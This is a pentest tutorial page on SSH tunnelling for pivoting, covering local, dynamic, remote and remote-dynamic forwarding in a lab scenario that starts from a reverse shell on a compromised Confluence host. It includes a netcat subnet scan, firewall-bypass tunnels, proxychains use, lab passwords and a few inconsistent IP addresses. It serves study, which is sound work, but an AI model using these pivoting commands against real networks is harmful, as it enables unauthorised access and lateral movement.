Pentest Journeys
Connect
  • Welcome!
  • Boxes
    • Categories
    • Starting Point
      • Unified
      • Three
    • Easy
      • Forest
      • Sauna
      • Active
      • Broker
      • Return
      • Timelapse
      • Support
      • Nibbles
      • Keeper
      • CozyHosting
      • Devvortex
      • Lame
      • FunBoxEasyEnum
      • Inclusiveness
      • Potato
      • Sumo
    • Medium
      • Resolute
      • Cascade
      • Monteverde
      • Intelligence
      • StreamIO
      • Loly
    • Hard
      • Mantis
      • Blackfield
      • Reel
    • Insane
      • Sizzle
      • Multimaster
      • Rebound
  • Cloud
    • Public Snapshots
  • TL;DR
    • Active Directory
      • AD Authentication
      • Access Controls
      • Recon
      • Groups
        • Account Operators
        • Backup Operators
        • DnsAdmins
        • Exchange Windows Permissions
        • Server Operators
      • Privileges
        • SeBackupPrivilege
        • SeImpersonatePrivilege
      • Permissions
        • AddSelf
        • DCSync
        • ForceChangePassword
        • FullControl
        • GenericAll
        • GenericWrite
        • Owns
        • ReadGMSAPassword
        • ReadLAPSPassword
        • WriteDACL
        • WriteOwner
      • Attacks
        • Password Spraying
        • ASREPRoasting
        • Kerberoasting
        • Silver Tickets
        • DCSync
        • Delegation
          • Unconstrained
          • Constrained
          • Resource-Based
        • Local SAM Dump
        • NTLMv2
        • Services
        • Scheduled Tasks
        • Exploits
      • Lateral Movement
        • WMI & WinRM
        • PsExec
        • Pass-the-Hash
        • Overpass-the-Hash
        • Pass-the-Ticket
        • DCOM
        • SSP Injection
      • Persistence
        • Golden Ticket
        • Shadow Copies
    • Web
      • Common Findings
        • Security Headers
        • Cookie Flags
        • SSL/TLS
      • Authentication
        • Broken Reset Logic
        • Brute Force Attacks
        • Rate Limiting
        • Session Tokens
        • MFA
        • JWTs
      • Authorization
        • IDOR / BOLA
        • IDOR / BFLA
        • Weak Access Controls
        • Automated A-B Testing
      • Injections
        • SQLi
          • SQLi 101
          • In Band
          • Blind
          • NoSQLi
          • Second Order
          • Other
        • XSS
          • XSS 101
          • Reflected
          • Stored
          • DOM-Based
          • Exploitation
          • Payloads
        • CI
          • CI
          • Filters
          • Examples
        • SSTI
          • SSTI 101
          • Twig
          • Freemarker
          • Pug
          • Jinja
          • Mustache
          • Handlebars
          • Mako
          • Case Study: Craft CMS
        • XXEI
          • XML 101
          • XXEI
      • File Inclusion
        • LFI & RFI
        • RCE
      • Cross-Origin
        • Cross-Origin 101
        • CSRF
        • CORS
      • File Uploads
      • Mass Assignment
      • WebSockets
      • Open Redirects
      • Race Conditions
      • SSRF
        • Exploitation
        • Examples
    • API
      • What is an API?
      • Useful Terms
      • Collection Creation
      • Enumeration
      • Tests
        • General
        • Security Misconfigurations
        • Authorization
          • BOLA
          • BFLA
        • Authentication
          • BFAs
          • Tokens
          • JWTs
            • Entropy Analysis
            • Signature Validation
            • Weak Signature
            • Header Injection
            • Algorithm Confusion
        • Excessive Data Exposure
        • HTTP Verb Tampering
        • Content Type Tampering
        • Improper Asset Management
        • Mass Assignment
        • SSRF
        • Unrestriced Resource Consumption
        • Unrestricted Access to Sensitive Business Flows
        • Unsafe API Consumption
    • Infra
      • Windows
      • Linux
      • FreeBSD
    • Pivoting
      • Networking 101
      • Port Foward
      • SSH Tunelling
      • Deep Packet Inspection
        • HTTP Tunneling
        • DNS Tunneling
    • Social Engineering
      • Phising
    • Cloud
      • AWS
        • Recon
    • Code Review
  • Tools
    • Web
      • Web Checklist
      • API
        • mitmweb
        • KiteRunner
        • Arjun
        • jwt_tool
      • Dirbusting
        • Fuff
        • Dirsearch
        • GoBuster
        • Wfuzz
      • Cloud
        • AWS
      • cURL
      • Hydra
      • Hakrawler
      • amass
      • WAFs
      • WhatWeb
      • Creds
      • SQLMap
      • GoWitness
      • Web Servers
        • Apache
        • Nginx
        • IIS
      • Frameworks
        • Spring
      • CMS
        • WordPress
        • Joomla
        • DNN
        • Umbraco
        • RiteCMS
      • DevOps
        • GitLab
        • Git Tools
      • BurpSuite
    • Infra
      • pspy
    • Port Scanners
      • Nmap
      • Rustscan
      • Arp-Scan
      • Netcat
      • PowerShell
    • Active Directory
      • netexec
      • impacket
      • mimikatz
      • Hounds
      • PowerView
      • SysInternals
      • net.exe
      • ldapsearch
      • BloodyAD
      • PowerView.py
      • Rubeus
      • DPAT
      • PingCastle
      • PowerUp
      • runas
      • Kerbrute
    • Passwords
      • HashID
      • Hashcat
      • John
      • DomainPasswordSpray
      • Credential Enum
    • Searchsploit
    • Metasploit
      • 101
      • Payloads
      • Post-Exploitation
      • Resource Scripts
    • Usernames
    • Vulnerability Scanners
      • Nuclei
      • Nikto
    • Text
      • jq
      • grep
      • awk
      • sed
      • tr
      • printf
    • Output
      • tee
    • Pivoting
      • Ligolo-ng
      • Sshuttle
    • Shells
      • Reverse Shells
      • Webshells
      • Upgrade
      • Listeners
        • Socat
        • Pwncat
        • Nc
    • Traffic Capture
    • File Transfers
    • Crypto
    • Files
    • Images
    • Evil-WinRM
    • KeePass
    • Random Scripts
  • Services
    • TCP
      • Remote Access
        • SSH (22)
        • RDP (3389)
        • WinRM (5985,5986)
      • Shares
        • FTP (21)
        • NFS (111, 2049)
        • SMB (139, 445)
      • LDAP (389, 636)
      • DNS (53)
      • SMTP (25,587)
      • DISTCC (3632)
      • AFS (1978)
      • DBMS
        • SQL
          • MSSQL (1433)
          • Oracle (1521)
          • MySQL (3306)
          • MariaDB (3306)
          • PostgreSQL (5432)
        • NoSQL
          • Aerospike (3000-3005)
          • MongoDB (27017)
    • UDP
      • SNMP (161)
  • OTHER
    • Exploits
      • Screen
    • CLIs
      • CMD
      • PowerShell
  • Package Managers
    • vevn
    • uv
  • Blue Team Stuff
    • Logs
      • System Logs
      • Apache2
      • Volatile Data
    • Traffic Analysis
      • Wireshark
Powered by GitBook
On this page
  • Local
  • Dynamic
  • Remote
  • Remote Dynamic

Was this helpful?

  1. TL;DR
  2. Pivoting

SSH Tunelling

PreviousPort FowardNextDeep Packet Inspection

Last updated 1 month ago

Was this helpful?

SSH tunneling encapsulates arbitrary network traffic inside an encrypted SSH connection. It’s useful for securely accessing services across restrictive networks or pivoting through compromised systems. Port forwarding with SSH is controlled using options like -L, -R, and -D, depending on the direction of traffic.

Local

Local port forwarding is commonly used when you have SSH access to a pivot machine and want to access a service only it can reach. Unlike tools like socat or chisel, SSH is encrypted by design and blends into normal admin traffic. Expanding the :

  • We compromised CONFLUENCE01 (192.168.125.63) and have a reverse shell.

  • From there, we can SSH to PGDATABASE01 (10.4.125.215).

  • PGDATABASE01 has access to an SMB server on HRSHARES (172.16.185.217:445).

Our goal is to forward TCP port 445 on 172.16.185.217 to TCP port 4455 on CONFLUENCE01, then access it from our Kali machine.

$ nc -lvnp 4444
...
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/sh")'
$ ssh database_admin@10.4.125.215
...
database_admin@10.4.125.215's password: sqlpass123
...
database_admin@pgdatabase01:~$
database_admin@pgdatabase01:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
4: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:a1:85 brd ff:ff:ff:ff:ff:ff
    inet 10.4.125.215/24 brd 10.4.125.255 scope global ens192
       valid_lft forever preferred_lft forever
5: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:9e:ab:53 brd ff:ff:ff:ff:ff:ff
    inet 172.16.125.254/24 brd 172.16.125.255 scope global ens224
       valid_lft forever preferred_lft forever
database_admin@pgdatabase01:~$ ip route
default via 10.4.125.254 dev ens192 proto static
10.4.125.0/24 dev ens192 proto kernel scope link src 10.4.125.215
172.16.125.0/24 dev ens224 proto kernel scope link src 172.16.125.254

We found that PGDATABASE01 is on a 172.16.50.0/24 subnet. Without a port scanner, we used a Bash loop with nc to scan for hosts with port 445 open, discovering 172.16.50.217.

database_admin@pgdatabase01:~$ for i in $(seq 1 254); do nc -zv -w 1 172.16.185.$i 445; done
<SNIP>
Connection to 172.16.185.217 445 port [tcp/microsoft-ds] succeeded!
<SNIP>

Instead of transferring files through multiple hosts (PGDATABASE01 to CONFLUENCE01 to Kali) , we can set up an SSH local port forwarding from CONFLUENCE01 to PGDATABASE01. A local port forward can be set up using OpenSSH's -L option, which takes two sockets in the format IPADDRESS:PORT separated with a colon as an argument:

  1. The first socket is the listening socket that will be bound to the SSH client machine.

  2. The second socket is where we want to forward the packets to.

  3. The rest of the SSH command is as usual - pointed at the SSH server.

The -N flag prevents SSH from executing any remote commands, meaning we will only receive output related to our port forward.

# general format
ssh -N -L <localport>:<target-host>:<target-port> <user>@<ssh-server>

# CONF to PGDA tunnel
ssh -N -L 0.0.0.0:4455:172.16.125.217:445 database_admin@10.4.125.215
...
database_admin@10.4.125.215's password: sqlpass123

From Kali, we can now list SMB shares.

$ smbclient -p 4455 -L //192.168.125.63/ -U hr_admin --password=Welcome1234

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Scripts         Disk
        Users           Disk

Why Local Port Forwarding?

  • Service (SMB) isn’t directly reachable from Kali.

  • Service is reachable by PGDATABASE01.

  • Tunnel traffic through an SSH session on CONFLUENCE01 → PGDATABASE01 → HRSHARES.

Dynamic

Local port forwarding can only connect to one specific destination per SSH connection. With local dynamic port forwarding, instead of connecting to just one destination, it creates a SOCKS proxy server on the SSH client.

A SOCKS proxy works like a mailroom — it takes in network requests, reads where they need to go, and forwards them through the SSH connection to any destination the SSH server can reach. The only requirement is that the software sending the requests must be able to use SOCKS. If it isn’t, extra steps are needed to make it compatible.

In our scenario, instead of connecting directly to port 445 on HRSHARES, we’ll do it through our SSH SOCKS proxy. The problem is that smbclient doesn’t have built-in support for SOCKS proxies. Since SOCKS proxies expect traffic in a specific format, smbclient’s normal traffic won’t work through it. To solve this, we’ll use proxychains — a tool that forces other programs to send their traffic through a proxy. proxychains works well with most dynamically linked programs but not with statically linked ones. To use proxychains:

$ nc -lvnp 4444
...
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/sh")'
$ ssh -N -D 0.0.0.0:9999 database_admin@10.4.125.215
...
database_admin@10.4.125.215's password: sqlpass123
$ tail -n1 /etc/proxychains.conf
socks5 192.168.125.63 9999
$ sudo proxychains smbclient -L //172.16.125.217 -U hr_admin --password=Welcome1234
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  192.168.125.63:9999  ...  172.16.125.217:445  ...  OK

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Scripts         Disk
        Users           Disk

Although we use SOCKS5 here (which supports extra features like authentication and IPv6), SOCKS4 could also work. Always check which version the proxy server supports during engagements.

Why Dynamic Port Forwarding?

  • Dynamically access any host and port reachable by the SSH server without needing to forward each port individually.

  • Particularly useful in complex pivot scenarios where multiple services across subnets are in play.

For nmap via proxychains the -sT flag must be used; the default sudo scan (-sS) won't work.

Scan Type
Method
Proxychains Compatibility

-sS (SYN)

Raw packets (no connect())

❌ Not compatible

-sT (Connect)

Standard TCP connect() calls

✅ Fully compatible

Remote

In earlier examples, we could freely connect to ports on CONFLUENCE01’s network. In real environments, though, firewalls usually block inbound traffic to protect systems. Outbound traffic is typically less restricted, which means it's easier to SSH out of a network than into it. This is where SSH remote port forwarding comes in. It works like a reverse shell for port forwarding.

Type
Listener Location
Direction

Local / Dynamic Forwarding

On the SSH client

Into the remote

Remote Forwarding

On the SSH server

Back to your system

Here’s how it works:

  1. We compromise CONFLUENCE01 (192.168.125.63) using CVE-2022-26134.

  2. Our goal is to enumerate PGDATABASE01's (10.4.125.215) 5432 port.

  3. A firewall blocks inbound connections.

  4. The only port we can connect is 8090 which forbids us from creating port forwards.

  5. However, CONFLUENCE01 has an SSH client and outbound SSH is allowed.

  6. We can SSH from CONFLUENCE01 to Kali and use remote port forwarding to tunnel database traffic.

Start an SSH server on Kali.

$ sudo service ssh start
Starting OpenBSD Secure Shell server: sshd.

$ netstat -ntl | grep 22
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp6       0      0 :::22 

Create the remote port forwarding on CONFULENCE01.

$ nc -lvnp 4444
...
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/sh")'
...
$ ssh -N -R 127.0.0.1:2345:10.4.125.215:5432 kali@192.168.45.219
...

This creates a tunnel where connections to 127.0.0.1:2345 on Kali are forwarded to PostgreSQL on PGDATABASE01 via the SSH connection from CONFLUENCE01.

$ sudo netstat -antp | grep 2345
tcp        0      0 127.0.0.1:2345  0.0.0.0:*  LISTEN  292/sshd-session: x

Use psql on Kali to connect to 127.0.0.1:2345 as if we’re directly connected to the database — bypassing the firewall.

$ psql -h 127.0.0.1 -p 2345 -U postgres
Password for user postgres: # D@t4basePassw0rd!
<SNIP>

postgres=# 

Why Remote Port Forwarding?

  • Dynamically access internal services from an external pivot point

  • Bypass inbound firewall rules that block direct connections

  • Maintain control by reversing the connection direction (outbound from compromised host)

Remote Dynamic

Remote Dynamic Port Forwarding has only been available since OpenSSH 7.6 (October 2017). The good news? Only the OpenSSH client needs to be v7.6+ — the server version doesn’t matter. In our scenario:

  1. We have CONFLUENCE01 (192.168.125.63) but we can only talk to it on one port (8090).

  2. We want to scan other machines on the internal network (like MULTISERVER03 (192.168.125.64)), but the firewall won’t let our Kali machine directly access them.

  3. From CONFLUENCE01, we SSH outward to our Kali machine.

  4. We create a SOCKS proxy on our Kali machine that listens on a port (let's say 9998).

  5. Any traffic sent to this SOCKS proxy, will fly back through the SSH tunnel to CONFLUENCE01. Then CONFLUENCE01 will forward it to the final destination inside its network.

Start an SSH server on Kali.

$ sudo service ssh start
Starting OpenBSD Secure Shell server: sshd.

$ netstat -ntl | grep 22
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp6       0      0 :::22 

sadasd

$ nc -lvnp 4444
...
confluence@confluence01:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/sh")'
$ ssh -N -R 9998 x7331@192.168.45.235
$ tail -n1 /etc/proxychains4.conf
socks5 127.0.0.1 9998

This creates a tunnel where connections to 127.0.0.1:9998 on Kali are forwarded to whichever destination we define on our command via the SSH connection from CONFLUENCE01.

$ sudo netstat -antl | grep 9998
[sudo] password for x7331:
tcp        0      0 127.0.0.1:9998          0.0.0.0:*               LISTEN
tcp6       0      0 ::1:9998                :::*                    LISTEN

Use psql on Kali to connect to 127.0.0.1:2345 as if we’re directly connected to the database — bypassing the firewall and nmap to scan MULTISERVER03.

$ sudo proxychains psql -h 10.4.125.215 -p 5432 -U postgres
...
postgres=#

$ sudo proxychains nmap -p9050-9100 -Pn -sT 10.4.125.64
...

Both remote port forwarding and remote dynamic port forwarding use the SSH -R option; the difference lies in the arguments supplied to -R:

Type
Syntax
Purpose

Classic Remote Port Forwarding

ssh -R [remote_port]:[dest_ip]:[dest_port] user@remote_host

Tunnel to a fixed destination

Remote Dynamic Port Forwarding

ssh -R [remote_port] user@remote_host

Create a SOCKS proxy for dynamic routing

For the remote port forwarding command, if only a port number is provided (e.g., -R 9998), SSH binds the port to the loopback interface (127.0.0.1) of the SSH server by default.

If needed to terminate a service.

$ sudo netstat -lntp | grep 9998
tcp        0      0 127.0.0.1:9998      0.0.0.0:*  LISTEN      325/sshd-session: x
tcp6       0      0 ::1:9998            :::*    LISTEN      325/sshd-session: x

$ sudo lsof -i :9998
COMMAND   PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
sshd-sess 325 x7331    6u  IPv6    964      0t0  TCP ip6-localhost:9998 (LISTEN)
sshd-sess 325 x7331    8u  IPv4    965      0t0  TCP localhost:9998 (LISTEN)

$ sudo kill 325
port forward scenario